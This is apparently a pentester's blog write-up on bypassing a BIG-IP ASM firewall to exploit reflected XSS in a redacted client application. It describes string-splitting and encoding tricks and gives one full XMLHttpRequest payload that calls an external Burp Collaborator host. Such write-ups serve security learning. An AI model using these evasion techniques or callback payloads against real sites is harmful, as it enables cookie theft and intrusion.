What’s going on everybody, this is $hellbr3ak back again with another blog.
Today I will be talking about how I bypassed BIG-IP ASM firewall in one of my engagements. As usual the target will be redacted since the pentest is conducted on a client environment. So, enough talking and let the fun begin.
First, I noticed a parameter named “PAGEURL” with the value of “/DIR/File.html”.
As noticed in the screenshot above, I tried injecting a double quote to see if it’s going to be reflected in the response, but that wasn’t the case.
At this point, I thought that there’s no XSS affecting this parameter, so I decided to add another file name instead of “file.html”.
And here was the response.
Later, I noticed that when I add “.html” to any payload, the application doesn’t reflect whatever comes afterwards.
Submitting a request without “.html” gave the following response.
It was pretty obvious that it is possible to test for XSS. So, I got back to XSS again.
The application was behind BIP-IP ASM WAF, and to be honest, it was kind of well configured, as I spent a whole day trying to come up with a valid bypass to run JS code, but I couldn’t. The next day I asked one of my teammates to see if he has any thoughts to bypass this WAF (btw, he’s known for being good at WAF bypassing techniques). And he gave me some encoded payloads but all of them didn’t work except for one.
The decoded form of the payload above is
Assuming you noticed that the injection is in JS string context, I tried several generic payloads like
But the WAF blocked them all.
Going back to our encoded payload.
Due to the payload’s length, I couldn’t show it all in the screenshot, but it is pretty obvious that the WAF didn’t catch it as I didn’t see “Request Rejected” message.
Visiting the URL:
alert() function was triggered. But, it’s not enough, without a real impact it is nothing but a way to execute a harmless function. However, I wrote a simple script to generate encoded payloads on the fly.
The script generates payloads as follows:
in an encoded format.
Again, I couldn’t show the entire payload in a screenshot due to its length.
var req = new XMLHttpRequest(); req.open(“GET”, “https://s2v3f4nqrlg0kl5f2a0zggd37udl1a.burpcollaborator.net/xss",true); req.send(null);
In most cases, XSS is exploited to steal session cookies and/or perform CSRF (Cross-Site Request Forgery). This is why I like to try initiating a request using XMLHttpRequest API when I spot an XSS vuln, and so I did.
Upon visiting the URL with the payload injected in it,
I was very happy that I bypassed the WAF, but something kept bugging me because the payload was given to my by one of my teammates, and I wanted to craft my own payload. That being said, I talked about the app and how I bypassed the WAF with some friends from the amazing
InfosecPrep discord server.
And there was a dude who suggested another way to bypass the WAF as he has done it before in one of his engagements, but the payload he gave didn’t work, and got rejected by the WAF in my case.
But it opened my eyes to some different ways in which I might be able to bypass it. And to be honest, I remembered a video from IppSec about a machine from HTB called
RE where IppSec was trying to evade the firewall to inject a malicious macro in an excel sheet to get code execution. The way he used was by separating the command he wants to run in several variables so the firewall can’t see the real malicious payload. So, I tried a similar way as follows:
And indeed, the WAF didn’t catch the payload.
And I got this :)
Now, it’s time to leverage this method to execute more than just an
Back when I was studying for eWPTXv2 exam, I learned about some functions that take strings as an argument, and evaluate that string as a JS code + execute it. One of which was
So, I came up with the payload below
And, here’s the result :)
Now, if we were to run more sophisticated payloads, we would only need to change the base64 encoded part.
I wrote this simple python script to generate payloads on the fly:
Keep in mind that
self[""] was blocked (with the quotes), but feeding it as
self[a+b] didn’t get caught by the WAF.
At this point, the thrill of defeating the WAF tempted me to find even more bypasses, and so I did :)
Back when I was just trying to trigger an
alert(), I noticed that
.map(alert) works like a charm. (Got this payload from payloadsallthethings github repo).
Knowing that this payload didn’t get caught as well, I decided to leverage it to use XMLHttpRequest API to initiate a request to burpcollaborator.
My idea was injecting:
["alert(1)"].map(eval) (note that the string
"alert(1)" will be separated in several variables), however; I wasn’t lucky enough and the WAF blocked it. But
eval isn’t the only function in JS that evaluates strings as JS code, we still have
Again, if we were to run anything we want, the only part that we need to worry about is the base64 encoded string.
Although I didn’t find much high/critical vulnerabilities in this project, I was happy that I got the chance to learn new techniques :)
So, that was it, I hope you guys enjoyed it, hoping to see y’all in the next write-up.